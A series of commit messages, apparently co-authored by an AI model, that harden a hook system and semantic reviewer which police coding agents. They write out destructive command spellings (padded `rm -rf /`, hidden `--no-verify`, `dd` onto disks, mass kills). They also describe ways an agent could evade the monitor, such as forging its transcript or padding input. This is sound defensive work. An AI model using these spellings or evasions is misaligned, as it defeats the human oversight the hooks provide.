Conversation
…ggered On the two-tier path only, the handler now spreads T8's jevTelemetryProperties(activity) into hook_policy_triggered, as T8 documents. Looked up through the module namespace (it is T8's helper, not a §7 contract, so the stub lacks it); absent or throwing, it contributes nothing and the event still goes out. Unconfigured machines never reach it: their event is unchanged. Also widen the worker-queue test's Jev timeout (1.2 s -> 2.5 s): the hooks queued behind a gated call must finish inside it, which flaked once at load ~12. The assertion is unchanged; serialized, they would still come after it. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…l-closed paths Round 2 review: the two tests named for the analysis budget were truncated by the binding overflow and passed with the budget disabled; the per-call resolveWord budget test passed without the per-call scope. Add a GNU parallel template that only the budget can stop, and 200 resolveWord calls that together cost twice the analysis budget. Rename the old tests after what they test. Pin the cwd-unknown branches (`cd ~`, more than 64 candidate dirs), an inline alias whose body nests too deeply, and command strings and directories bundled with their flag (su -c'…', script -qc'…', flock -c'…', sudo -D/dev). Three inline aliases nested inside one another were skipped rather than checked, so `git commit --no-verify` ran through them: deny instead. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…ers' verdicts The six floor policies share one cached analysis, and a resolveWord call that ran out of depth or budget set the shared truncated flag: every policy after it denied with 'nests too deeply', and so did later hook events with the same command. A benign `echo hi > $A14` at the end of a 14-hop chain was denied by block-chmod-777 once block-disk-destruction had run. analyzeShell now records its own verdict, and resetResolution restores it and drops the memoized give-ups before each policy reads the analysis. The memo has to go too: a later policy served a memoized give-up would get null without the truncation, and read a chain too deep to follow as an ordinary unknown. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Round-3 review: no test checked the handler's side of startJevReview. Dropping the session id (Jev then never clears anything) or the cwd (Jev then flags in-project reads, and never learns the git branch) left all T3 tests green. - readIntent's mock now answers for this file's session only, like T4's store, so a handler that stops passing the session id fails every clear test. - The exact call context is pinned, plus a per-CLI table (claude, the daemon's fallback cwd, cursor workspace_roots, goose working_dir, antigravity, copilot's camelCase PermissionRequest): the resolved session id and cwd reach startJevReview, readIntent and the request's facts. - Behavioural checks: an in-project read is `inside_project` and never asks read-outside-workspace; block-work-on-main on a real `main` repo gets its reviewer asked (branch read from the cwd) and cleared. Both reviewer mutations now fail: no sessionId → 19 tests, no cwd → 9. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…t of intent A prompt longer than the pre-cap is now redacted as two pieces, and the text next to each cut (a guard plus any token reaching into it) is dropped before the final cap picks what to keep, so a secret the pre-cap split can no longer be pulled into the stored head or tail when redaction shrinks its piece. Claude Code fires UserPromptSubmit for prompts the model scheduled (CronCreate, ScheduleWakeup, /loop) with a payload identical to a typed one. The transcript is now cross-checked for claude and factory: a newest scheduled_task_fire entry, an older one naming this prompt, or a tool call whose prompt input is this prompt means the prompt is not recorded. Turns wrapped as another agent's or session's message are dropped too. Also: the Codex session_meta fallback applies the same sub-agent rule as the parse path, and new tests pin the last IDE heading, the replay path's linear time and the response_item role check. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Review round: no test tied status output to jevStats(), so a hard-coded empty block or a different window passed every test until T8 landed. The new file mocks jev-stats with non-zero numbers and checks, in the configured, absent and refused states, that the human output shows them, that `status --json` carries them verbatim, that jevStats() is called once over the default window, and that a throwing jevStats() reads as "could not be read" rather than as no activity. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…ped models
- setup no longer launders a jev.json the loader refused as too open. Such
a file may name an endpoint someone else chose, so its stored key is
carried only to the provider's own API; any other endpoint it names,
kept or passed again with --base-url, needs the key again, given
explicitly (never at a bare prompt that would not say where it goes).
`jev status` shows a too-open file's endpoint next to its chmod hint,
human and --json.
- The Jev POST never follows a redirect (redirect: "manual"); any 3xx is a
JevError http-<status>, so the answer only ever comes from the origin
validateBaseUrl checked. Tested against real local sockets.
- A --model shaped like a credential (known key prefixes, or 32+ mixed
characters with no "/" and no "jev"), or equal to the key, is refused
without being repeated, in the loader as well as in setup.
- status, test and remove no longer echo a stray argument; all four
subcommands share setup's wording.
- A FIFO in jev.json's place is now also checked in a child process with
a timeout, so a regression to a blocking open fails by name instead of
hanging the test worker.
- Tests for the CLI paths the mutation run found uncovered: the query
string hidden in setup/status/test, the env-key status row, status
--json and test on a refused config, remove's note about a still-set
FAILPROOFAI_JEV_API_KEY.
- Docs: the open-file rule, http-3xx, key-shaped model ids.
For the integrator: src/hooks/first-run-gate.ts ("jev" in
FIRST_RUN_EXEMPT_SUBCOMMANDS, from 213b2aa) is a deliberate edit outside
T1's owned list. The bin dispatch needs it: without it the first-run
wizard reads a piped key as its first answer and prints a banner ahead of
`status --json`.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Round-1 review: the privacy cases recorded what a real evaluation produces, so jevCleared always held policy names and jevModel the echoed model id. Shipping entry.jevCleared or entry.jevModel unsanitized to PostHog left the whole suite green. A row whose cleared list and model carry the command and the prompt (and names with a registered namespace mid-string) is now persisted, turned into PostHog properties and a request body, described and counted, and none of the marker words may appear. A companion case checks the one valid name still ships, so the check is not vacuous. Kills both reviewer mutants and the unanchored-namespace mutant. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…untested edges Round-1 review, minors: - Parity: the TS validators use JS `\s` / trim(), which count U+FEFF and not U+0085; Rust's trim / is_whitespace do the opposite. So "timeout" normalised to `timeout` in TS and `other` in Rust, "ab" was a policy name to Rust only, and a BOM-wrapped model id shipped from TS only. transform.rs now uses is_js_whitespace for the reason trim, the name check and the model trim. Same cases in hooks_jev.rs and a new TS twin (jev-whitespace-parity.test.ts). - A registered namespace mid-string (`cat /srv/custom/x y`) is pinned as not-a-name in TS and Rust; the unanchored-regex mutant now fails. - The allow roll-up's max latency is tested with non-monotonic values, and a negative latency is shown to feed neither the per-event field nor the aggregate mean (both reviewer mutants now fail). Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
… prompt shape, accept the §7 call shape - Codex IDE prompts: any prompt that opens with one of the IDE extension's own sections (# Selected text:, # Files mentioned by the user:, … as well as # Context from my IDE setup:) keeps only the text after the last "## My request for Codex:" or newer "## My request:" heading, and is dropped without one. A selection-only prompt used to be stored whole. - Pi: capture is gated. pi-extension forwards InputEvent.source as input_source, and a prompt counts only when it is "interactive" or "rpc"; another extension's sendUserMessage() and a bridge that forwards no source record nothing. - captureIntent accepts the §7 draft shape again (prompt, no payload): it is recorded for the harnesses that check no origin (Copilot, Cursor, Devin) and nothing is recorded for the rest. - recordUserPrompt redacts before it caps. - Tests: a long JWT split by either pre-cap cut, the line-boundary check, Codex agent_message events, docs cells, clock skew, corrupt session files, a Codex FIFO transcript, and Pi through the real bridge. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…e parser Round-1 review, minors: - jevStats()/computeJevStats() took any windowMs: NaN printed "last NaNs" and read every store page (the early stop compares against NaN), Infinity read the whole store, -1 printed "last 0s". clampJevStatsWindow now maps a window that is not a positive number to the 24 h default and caps anything longer (Infinity included) at 90 days; a non-finite `now` is the current time. - "honours a custom window" only checked the count, which the windowed store read gets right on its own; the new test also pins the reported windowMs, since and the "Activity (last 1h)" heading, so dropping windowMs from the computeJevStats call fails. - The clearsByPolicy / jevStats docs now say a renderer must print shadowClearsByPolicy too: on a shadow-mode machine every would-be clear is there and clearsByPolicy is empty (T1's jevStatsLines reads only the latter; flagged for integration). Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…, off switch, short-circuit Major: - Pi's `user_bash` (a command the HUMAN typed as `!cmd`) canonicalizes to PreToolUse and was reviewed by Jev as an agent request, so Jev's own deny could block the human's own command. The raw event is now checked and Jev is never started for it; the regex policies judge it exactly as before. - §4's truncation fallback did not survive T4: T4's intent store caps a stored prompt / agent message to fit inside the envelope's limit, omission mark included, so `envelope.truncated` never fires for it. `prepareSemantic` now also counts a sent `user_said` / `agent_last_message` carrying the cap's omission mark, and the outcome's `truncated` is that. Verified against jev-task/t4's real intent.ts (and t6's envelope.ts) in a scratch copy: the new end-to-end test passes there and fails there without the detection. - The FAILPROOFAI_EVALUATOR=legacy escape hatch is documented as what it is: read from the evaluating process's environment (one-shot hooks, or the worker's own environment). The daemon forwards event/cli/stdin/cwd only, so the machine-wide switch is the config file (`failproofai jev remove`, or mode "shadow"), read on every event. New worker-socket tests cover the daemon path: removing the config turns Jev off on the next hook with no restart, the worker's own env var is honoured, and a request cannot carry it. - A hard deny short-circuiting on the two-tier path is now tested directly (evaluator level and through the handler with a custom policy registered after the builtins and a Jev that never answers); mutant M1b is killed. Minor: - captureIntent skips a denied prompt only where the CLI enforces a UserPromptSubmit deny (ENFORCEMENT_CAPABILITY "block"); Goose, OpenCode and Antigravity only observe it, so their agent gets the prompt and it is passed. - "Jev config could not be read", "Jev review could not start" and "Jev intent capture failed" log at info, off the hook's stderr. - Tests: legacy under every configured mode is byte-identical to unconfigured; a pipelined request whose evaluation throws gets its error reply in order; evaluateSemantic with no transport never reads on-disk credentials or fetches; the equivalence corpus tests get an explicit 30 s timeout (assertions untouched). Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…ivity-tab wiring Round-1 review, minors: - A fallback where Jev did answer (truncated envelope, model mismatch) was described as "Jev unavailable: truncated" with Jev's verdict left out, and got the same plain pill as a timeout, while the collector ships the same row on its own as notable. describeJevActivity now says "Jev's answer not applied: <reason>", adds "Jev verdict (not applied): <decision>" and the model; a real outage still reads "Jev unavailable". jevPillKind gives a fallback whose unapplied verdict is stricter than what was enforced its own amber `fallback-stricter` pill (same label, own title). - No test rendered the activity table or detail panel with a Jev row, so dropping <JevPill> or <JevNote> from hooks-client.tsx went unnoticed. jev-activity-row.test.tsx renders the real HooksClient activity tab with a clear, a fallback and a non-Jev row; removing either line fails it. Whether dashboard visibility stays in T8 is left to the orchestrator. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…or it Codex's origin check reads the rollout's session_meta, and Codex does not put transcript_path on the hook's stdin: the file is discovered from the session id under ~/.codex/sessions, which does not honour CODEX_HOME. When discovery found nothing, codexRolloutIsSubagent read "no path" as "not a sub-agent" and the prompt was recorded — so a prompt the parent agent wrote for its sub-agent could become user_said and clear a reviewable policy. Fail closed instead, as the pi and openclaw cases already do for a missing mark, and say so in the per-harness table and Known limits. Also fold the agent_id hedge into one guard for all three Claude-shaped harnesses (claude, factory, devin), which all ship SubagentStop and so all have subagents; devin stays in NO_ORIGIN_CHECK, so the §7 draft call shape is unchanged. The OpenClaw row now says plainly that the shipped plugin forwards none of the three marks, so no OpenClaw prompt is recorded today. New tests pin each of these, plus the documented 4 MB transcript tail budget, which no test held to its value. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…config directory is checked `setup --key-from-env` deliberately writes a keyless jev.json. In any shell that does not set FAILPROOFAI_JEV_API_KEY — a new shell, and always the daemon — `inspectJevConfig` routed that file through the key check and reported it `refused`/`invalid`, so `jev status` printed "was refused" with exit 1 and told its owner to write a valid one: advice that undoes the only reason to choose --key-from-env, and a `status --json` that reads as a broken machine to a provisioning check. It is now its own state, `key-missing`, carrying the routing fields without the key. `jev status` renders it like `absent` (exit 0, "off in this shell"), `jev test` says which variable is unset instead of blaming the file, and `--json` reports provider, endpoint and `keySource: "env"` with `reason: "no-env-key"`. `loadJevConfig()` still returns null for it, so the hook path is unchanged. Validation stops at the missing key, so the loader re-validates with a stand-in before deciding: a keyless file that is also wrong further down is still `refused`. Also from the round: - The owner-only check covered the file but not its directory. A group/world-WRITABLE ~/.failproofai lets another local user unlink the 0600 file and leave their own, which every check then passed — and in enforce mode (the default) the endpoint they choose can clear a reviewable deny. The loader now refuses that with a `chmod 700` hint, and `jev setup` takes those write bits off a directory an older code path created at the umask. Read bits are left alone at both ends: they give nobody that power, and config.json beside it is world-readable by design. - The unknown-subcommand branch echoed its argument, so `failproofai jev <key>` printed the key — the one place the module broke its own rule. It is repeated only when it is shaped like a subcommand. - `jev status` printed `clearsByPolicy` alone, which is always empty in shadow mode; it now also prints T8's optional `shadowClearsByPolicy`. - Tests: the range/finiteness clamp in `readAnswers` was unpinned (both cases reached it through JSON, where NaN becomes null), as were OpenRouter's unversioned-alias and no-model answers. - Docs: the "never from the environment" guarantee is qualified — FAILPROOFAI_HOME relocates the whole layout rather than redirecting Jev. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Review round 2 of the hard-floor builtins. The same failure in three of them:
a word read with literalText alone, so a value the analyser CAN resolve walks
past a floor no reviewer can clear.
- block-no-verify: commitSkipsHooks/hasNoVerify resolve a non-literal argument
and test every candidate, parseGit resolves the subcommand and the global
options it used to give up on, and a `-c key=value` value is resolved before
it is judged. `F=--no-verify; git commit $F -m x`, `C=commit; git $C
--no-verify`, `git commit ${F:---no-verify}` and `P=/dev/null; git -c
core.hooksPath=$P commit` all deny; an unresolvable `git commit $ARGS` stays
allowed, and a resolved option that takes the next word still consumes it.
- block-gh-destructive: the noun and verb are resolved instead of read as "",
and an unresolved verb on a deletable noun denies the way `gh api -X $METHOD`
already did, rather than failing open.
- block-mass-kill: a filter now has to READ the PID variable (or a name derived
from it), so `if true; then kill $P; fi` and `[ 1 = 1 ]` no longer clear the
check, while the careful per-process loops still pass. Assignments in a
command prefix the parser hands to `then`/`do` are recovered, so the listing
behind `if …; then P=$(pgrep node); kill $P; fi` is seen. The filter test is
a per-analysis data-flow graph, so a command with one filtered PID variable
per kill stays linear.
- block-disk-destruction: a `dd` operand assembled whole in a variable
(`T=of=/dev/sda; dd if=/dev/zero $T`) is resolved before it reads as harmless.
Also: the pack's documented size moves 38 -> 44 in the two English docs pages
that state it, and copy-counts.test.ts now derives that number (and the
default-enabled 10) from the catalog so it cannot rot again; a test pins the
deliberate omission of the six floor builtins from the persona SIGNAL_MAP.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…etry keys, released-task deadline A cut in the context Jev judges is no longer read out of the context itself. `user_said` and `agent_last_message` are content — the agent writes the second one, and it repeats text from files and tool output that a third party controls — so a message that merely QUOTED the omission mark forced the call onto the regex-only path and threw Jev's verdict away: an off switch for the semantic tier that any repo file the agent summarised could pull, logged below the default level so nothing surfaced it. The store now says so itself: `SemanticOptions.contextTruncated`, read off `readIntent` through a local optional-field interface (the same defensive shape this file already uses for T5's `scope`), and believed exactly. With no word from the store, the mark alone is no longer enough — a message the store cut also fills the envelope's per-message cap, and a quoted mark in prose does not. A cut the envelope made itself counts as before, and nothing here can talk it away. Also: - Only `jev_`-prefixed keys of T8's telemetry helper are spread into `hook_policy_triggered`, so a key collision cannot overwrite a core property (`decision`, `policy_name`, …) silently and only on two-tier machines. - A task that hands the worker queue back early keeps a wedge deadline of its own instead of none. Clearing it at the release made every wedge past that point invisible: no exit, no respawn, and that connection's later replies queued behind it forever. `enqueue`'s body is now `runQueuedTask`, exported so the deadlines can be driven in a test without waiting a minute or exiting the runner. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…ract, linear assignment scan
Four verified review findings on the T6 redaction hardening.
1. BLOCKER — `redactAuthorizationField` accepted ANY word of up to 32
[A-Za-z0-9-] characters as an Authorization scheme and returned it
verbatim. A 25-character gateway key is exactly that shape, so
`{"Authorization": "<key> signature=…"}` sent the live key to Jev while
the envelope reported one redaction (the harmless second word). The value
this returns never goes through `redactSecrets`, so nothing downstream
caught it. Only a word from the same whitelist the text rule uses is kept
now (extended with `sso-key`/`ssws` to match `AUTHORIZATION_RE`); anything
else takes the whole value, and an unknown first word that is not even
token-shaped is left to the text rules so prose under the name survives.
2. MAJOR — the generic `sk-` entry opens with a consuming capture group (its
token boundary), and only `redactSecrets` put that character back.
`maskSecrets` in src/audit/redact-example.ts — the audit harm reporter,
which runs with Jev off — did a plain `.replace`, so it deleted the
character in front of every key it masked: `export OPENAI_API_KEY=<key>`
rendered as `export OPENAI_API_KEY[REDACTED: sk- API key]`, JSON lost its
opening quote, two lines merged where the boundary was a newline, and
`maskAssignedSecrets` could no longer see the assignment. Both consumers
now read one declared set, `SECRET_PATTERNS_KEEPING_PREFIX`, instead of
the `source.startsWith("(")` heuristic — which would also have re-emitted
the secret itself for a future entry whose first group captured part of it.
3. MAJOR — `redactSecrets` was quadratic in string length: `ASSIGNMENT_RE`'s
name could start at any character of a token, so a run with no separator
in it was consumed and backtracked at every position (35 ms for 4 000
characters). `buildEnvelope` redacts up to 576 capped strings, so an
ordinary batch of base64url blobs in tool input stalled the PreToolUse
path for 2-7 seconds before the Jev request even started. Both
`ASSIGNMENT_RE` and `FLAG_VALUE_RE` now require a token boundary in front
of the name, consumed and re-emitted as in `SK_GATEWAY_KEY_RE` (a
lookbehind costs the JIT and measured 5-10x slower here). Same envelope:
7 203 ms → 45 ms. A quoted value's closing quote is left to a lookahead so
it can still be the next assignment's boundary — no redaction is lost.
No total redaction budget was added: skipping a rule to meet a deadline
would mean shipping a secret.
4. MINOR — the generic `sk-` entry moves to the END of `API_KEY_PATTERNS`, so
`sanitize-api-keys` keeps reporting the specific vendor label when output
carries both a gateway key and a ghp_/AKIA/AIza key.
Tests: every one of these fails without its fix (verified by mutation). The
new shared-floor test pins, for all 16 entries and BOTH consumers at once,
that the marker lands exactly where the secret started — the invariant that
finding 2 broke and finding 5 warned about. The audit assertion that passed
over the defect is now whole-string equality plus the JSON, newline and
comma boundaries.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…nded The in-process copy of the FIFO check could not fail: a regression to a blocking open() hangs the vitest worker — its per-test timeout cannot interrupt a synchronous syscall — instead of failing the run. Measured: with OPEN_FLAGS reduced to a plain O_RDONLY the file was SIGKILLed at 100 s with no output at all, while the bounded child-process copy failed honestly in 11 s. Deleted the in-process case, whose behaviour the child harness already owns, and closed the class around it: - the harness now probes EVERY exported reader that opens the config file, the two `jev setup` / `jev status` update readers behind the module's second `openSync` included. Nothing covered those: a blocking open at that site would hang the CLI with the whole suite green. The probe redacts key fields, so nothing a reader returns can reach a failure message; - every `openSync` in the module must pass `OPEN_FLAGS`, with a count pin so a third reader cannot appear without extending the probe; - no test anywhere may create a FIFO and then call a reader in this process. Mutation-verified, each within seconds: a plain O_RDONLY for both sites, a plain O_RDONLY at the second site only, a third `openSync`, and an in-process FIFO test re-added under a throwaway name. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
§4 files a truncated envelope under "fall back to the regex result", and this branch read that as "throw Jev's answer away". The envelope's 2,000-character cap is tripped by the agent's own text, so that made padding a command a working way to stop Jev's OWN deny applying: `rm -rf / --no-preserve-root` plus 2,100 characters came back allow, and the same cap fires on an ordinary Write of ~2,100 characters, leaving the semantic tier inert on a large share of real calls in enforce mode (D2). Truncation now withdraws every CLEAR and nothing else. A clear resting on half of what the human typed is still not a clear, so every regex deny counts exactly as §4 asks, and the call is still recorded `jev-fallback` / `truncated` with Jev's decision — but Jev's own deny or instruct still joins the most-severe rule, because an answer given on part of the evidence can only ever ADD severity. The result is never less severe than the regex engine alone unless a clear fired. Closed structurally, not case by case: `JevReview`'s `fallback` variant no longer carries a `decision` at all, so a verdict Jev produced cannot be filed as "Jev did not answer" whatever trips next. A verdict on a cut envelope arrives as `answered` with `truncated: true`, and `answered` always reaches the merge. The three reasons Jev's picture is partial — truncated, injected, injection not asked — meet at one gate in `combineTwoTier`, so the next one added cannot take severity with it. Not narrowed instead: every accumulator that sets `truncated` cuts something a clear would rest on (a capped `content` hides secrets from the `secret-exposure` probe that reviews block-env-files just as a capped command hides its middle), so a narrower flag would be a forgeable clear. Also: the verdict log's `applied` for a truncated call is `two-tier`, not `legacy-fallback` — its verdict was applied, only its clears were not, and the row's own `truncated` records that. `policy-evaluator` no longer logs "jev unavailable" for the one reason that is not an outage. Tests: new __tests__/hooks/semantic/truncation-severity.test.ts runs the real evaluateSemantic -> toReview -> combineTwoTier path (the reviewer's padding repro, an oversized Write, and a control showing the same answer clears when uncut). combine.test.ts's exhaustive table gains an `enforceTruncated` column for the three rows where Jev outranks the regex result, plus a "nothing cleared => never more permissive" invariant asserted on all 144 cells. The T8 reason-code test now reads the ACTIVITY row, which is what ships. Verified by reverting the fix: 7 of the new assertions fail, and pass again restored. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Each of these ran a command the floor already denies, written a different way.
block-no-verify: expanding an inline alias re-read the body on its own and
dropped everything the enclosing `git` had set — including the `-c alias.*`
that names the NEXT alias, which is why `git -c alias.b=a -c alias.a='commit
--no-verify' b` allowed and why the `depth >= 2` guard written for exactly that
shape could never fire. The expansion now carries the invocation's `-c`
settings, `--config-env` keys and environment prefixes down with it (git puts
command-line `-c` in GIT_CONFIG_PARAMETERS, so a `!`-alias's own `git` sees
them too — checked against git 2.43), every definition of a name is checked
rather than the first (git takes the last), and the `export HUSKY=0` scan runs
over every analysis the walk read. Expansions are deduped and capped at four,
because N definitions at each of two levels was N² analyses.
block-mass-kill, `ps` chains: only grep counted as a filter, so the canonical
`ps aux | awk '/node/ {print $2}' | xargs kill` walked past the grep spelling
of the same command. awk, sed, perl and python now count too, reading a
selection-position pattern (an awk pattern or `~`/`==` comparison, a sed
address, a perl match) with the same weight as a grep pattern and every other
literal only against a generic name outright — so `sed 's/ +/ /g'` and
`awk '{print $1/$2}'` stay ordinary. Also denies the case no pattern describes:
a listing of every process with nothing on the chain able to drop a row.
block-mass-kill, patterns: pkill matches its pattern as a regex search over the
process name, but the check compared normalised strings, so `pkill nod`,
`pkill ode`, `pkill ytho` and `killall -r 'nod.*'` each reached exactly what the
literal name beside them reached. A non-exact pattern is now matched as a regex
against the generic names. The direction keeps it quiet on ordinary commands:
`pkill vite`, `pkill -f node.*worker` and `pkill 'nod$'` match none of them, and
`-x` still compares the whole name.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
All three findings were one shape: a check that decides from a file the agent can write, and reads "I could not read it" as "nothing to see". What reaches user_said is the only channel that can clear a reviewable policy, so missing evidence now fails closed. Claude Code and droid. modelScheduledPrompt became scheduledPromptVerdict, which answers scheduled / typed / unknown: "typed" needs at least one conversation entry to have parsed. truncate -s 0, rm, mv, a FIFO, chmod 000 and 4.7 MB of junk padding all recorded a CronCreate-scheduled prompt as the human's before this; none do now. The trade-off, and where the line is drawn. Requiring that evidence outright would cost every session its FIRST prompt — a real Claude Code transcript holds only session-start bookkeeping (mode, permission-mode, file-history-snapshot) at that moment, and `claude -p "…"` has no second prompt to fall back on. So a transcript with no conversation is believed exactly while the session has recorded nothing yet, which is the only state in which that is what an honest transcript looks like, and a prompt the model scheduled cannot be a session's first — scheduling one takes a turn. A harness that names no transcript at all is also not the agent hiding anything: that path comes from the hook payload, which the agent cannot edit. Residual, now documented: a session idle past the six-hour window loses its file to the sweep and counts as new again, and an agent writing plausible entries into its own transcript is not something reading it can catch. Codex. codexRolloutIsSubagent became codexRolloutOrigin — subagent / human / unknown. Round 4 closed only a missing rollout PATH; a path that resolved to a FIFO, /dev/null, a directory, an empty file, an unreadable one, or a first line that is not session_meta still read as "not a sub-agent", so a sub-agent's parent-written prompt was recorded. "human" now requires a session_meta carrying a source mark that names no sub-agent; a line with no source and no thread_source is unknown (real rollouts have carried one since 0.131 — checked against 40 on this machine, 0.131 through 0.154). No first-prompt exception here: Codex writes session_meta when the session starts, before any prompt. cleanHumanTurn. The two harness-text guards now run again on the request extracted from a Codex IDE prompt, via one harnessAuthored() helper. A stop gate's MANDATORY ACTION text, an "Instruction from failproofai:", a continuation summary, a peer session's <cross-session-message> or another of the extension's own sections placed after "## My request:" were all recorded verbatim as the human's task, contradicting what the page already promised. Tests: new intent-capture-r6.test.ts, one describe per finding, each case mutation-verified (eleven single-branch mutations, every one caught but the redundant read===0 guard, which was removed instead). The r4 Codex FIFO test now asserts the prompt is NOT recorded and covers /dev/null and mode 000 beside it — that test was added by this branch (e764934), so §5's ban on editing pre-existing tests does not reach it; base b766a94 has no intent tests at all. docs/reference/jev-intent.mdx: both table rows, the scheduled-prompt section, the IDE bullet and two Known limits, including the sentence that promised the opposite for an unreadable rollout. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…als, linear URL/PEM scans Five open findings, all reproduced first and each pinned by a test that fails without its fix. Authorization, both paths (blocker + 2 major). The rules decided on the FIRST WORD of the value, so a scheme this file does not list took the whole decision with it. On the structured path `redactAuthorizationField` asked whether that word looked like a token — false for any alphabetic word — and `Hawk id="…", mac="…"`, `NTLM <base64>`, `sessionid …` and `hmac dev-admin-key` went to Jev verbatim with `redactions: 0`. On the text path the credential group landed on the scheme word itself, so `curl -H "Authorization: Hawk …"` was untouched and `Authorization: xyz123 dev-admin-key` came back with the SCHEME redacted and the credential still in place, reporting a redaction for it. A multi-part value under a KNOWN scheme (`Digest username="…", response="…"`) leaked the same way. Both paths now decide on the whole value: a word outside AUTH_SCHEME_WORDS is part of the credential, and the text rule takes the rest of the header value rather than one token. The one shape that is not a credential is prose — three or more plain words — plus references, bare scheme words and, with no scheme in front of it, code (`const authorization = req.headers.authorization;`). The value stops at its opening quote's partner, at a command separator, at the next shell flag or at end of line, so a marker can never swallow the rest of a command and hide it from the evaluator. Quoted credential arguments (major). CLI_RULES and CONFIG_SET_RE dropped a quoted value whole, so `replacedPart` reported `'hunter2'` as the secret; `scrubKnownSecrets` searched the envelope for that and never found the bare copy the agent's own description carried. The quotes are re-emitted around the marker in all six rules, which is also how the command stays quoted as written. Quadratic scans (major). URL_CREDENTIALS_RE and URL_TOKEN_USERINFO_RE opened with `\b`, which matches after every `-`, `.` and `+` — every character `[a-z][a-z0-9+.-]*` can also consume — so the scheme group took the rest of a run and backtracked at each start: 45 ms for one 8 000-character `a-a-a-…` string, 1 701 ms for a full envelope of them. They get the consumed token-boundary group the assignment rules already use, plus a `://` guard. PEM_BLOCK_RE was the same family: its complete-block alternative is a lazy scan for `-----END`, so a text with no footer was read to the end from every header in it; footerless text now gets its own rule. Envelope: 1 701 ms -> 61 ms. The two cost fixtures that were meant to cover this could not: `run(n, ALNUM + "-")` stepped by `(i*7) % 63`, and gcd(7,63)=7, so it emitted nine distinct characters and never a hyphen. Step 5 is coprime with every alphabet used, and a test asserts each run contains its whole alphabet. Budgets were re-measured under the real runner and sized so the fixed and broken shapes are 20x apart on both sides, rather than the 1.77x the round-2 budget had. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Two ways were left to make Jev's verdict not apply, both reachable from the
tool call itself.
1. SIZE. `evaluateSemantic` returned `degraded("request-too-large")` when the
compiled request overran `MAX_REQUEST_CHARS`, and a degraded call is
`kind: "fallback"` — no verdict, the regex result stands. That is exactly
the outcome the truncation rule exists to prevent, reached by a different
spelling: one ignored 70,000-character `file_path` beside the command, or
24 x 24 x 1,500 characters of nested `tool_input` with every individual
string inside its cap. Repro at HEAD~1: `rm -rf / --no-preserve-root` alone
-> deny; the same call plus one long `file_path` key -> allow.
`facts` was the one part of the envelope with no caps at all — `extractPaths`
copies `file_path` / `path` / `notebook_path` verbatim and `buildEnvelope`
passed `as_written` / `resolved` straight through — which is what made the
budget reachable. Every string and list in the envelope now goes through
`cleanString` / a `keys` cap, so its size is a function of the caps rather
than of what the agent sent; `EnvelopeOptions.limits` makes those caps
settable, and `prepareSemantic` rebuilds an oversized call through
`SHRINK_STEPS` with `truncated` set instead of abandoning it. It then lands
on the rule installed in HEAD~1: clears withdrawn, Jev's own deny applied,
recorded `jev-fallback` / `truncated`. `request-too-large` survives only for
a request whose QUESTIONS overrun the budget — our text, not the caller's.
2. EVIDENCE JEV NEVER SAW. `prepareSemantic` sent
`userSaid.slice(-MAX_USER_MESSAGES)` in the envelope but handed `decideV1`
the FULL list. `targetNamedByUser` is a LOCAL check, and an `op-requested`
override needs it before a fired policy becomes `overridden` — which
`toReview` reports as a clear. So a human turn Jev never saw could supply
the consent that dropped a reviewable deny, with `truncated` false, so the
combine's one gate never saw it either; and it was stale consent, since a
long-past "delete X" went on licensing that target forever. `prepareSemantic`
now reads `user_said` and `agent_last_message` back OUT of the envelope and
judges against those, which closes it by construction: every cap the
envelope applies — including any added later — applies to the local check.
`decide` (v0) takes the same evidence.
`combine.ts` no longer claims a clear rests on a "complete" picture: the
three-turn window is a design constant, dropping older turns is not a cut, and
what is actually guaranteed is that nothing in the clearing half rests on
evidence that was not sent. Nothing about the §4 combine rules, unconfigured
equivalence or the per-CLI formatting changes.
Tests: `truncation-severity.test.ts` gains the budget spelling (each padding
shape answered rather than degraded, the dangerous suffix surviving every
shrink step, a cut call still clearing nothing, and a worst-case payload
proving the smallest step has room to spare) plus the `facts` caps;
`evaluator-sent-evidence.test.ts` is new (the dropped-turn repro in v1 and v0,
its equivalence to the turn never existing, and the structural invariant that
what is judged is what was sent); `two-tier-handler.test.ts` gains the
end-to-end guard the review asked for — every existing truncation test there
used a Jev ALLOW, so none of them would have caught Jev's deny being dropped
downstream of `combineTwoTier`: a padded call where the regex engine allows and
Jev denies is now pinned through the handler, the per-CLI formatters, the
activity row and telemetry, in enforce and in shadow.
Each new test was checked against the defect: with the shrink loop disabled,
the `facts` caps removed, the envelope-derived evidence reverted, or the
pre-HEAD~1 combine restored, they fail.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…on marked
Round 6 refused a prompt whose transcript could no longer be read. Both
blockers here are that hole reopened from the other side: what the check
reads is a file the agent writes.
A conversation is not hard to write. `printf '{"type":"user"}\n' > transcript`
parses, and so do four megabytes of well-formed turns appended after a
`scheduled_task_fire` entry — that one does not even destroy anything, it
just pushes the evidence past the 4 MB the check reads while the transcript
still looks honest to a human. Either way `scheduledPromptVerdict` answered
"typed" and a prompt the model wrote itself became `user_said`, which under
D1 clears warn-destructive-sql, block-work-on-main and warn-git-amend with
words the model chose.
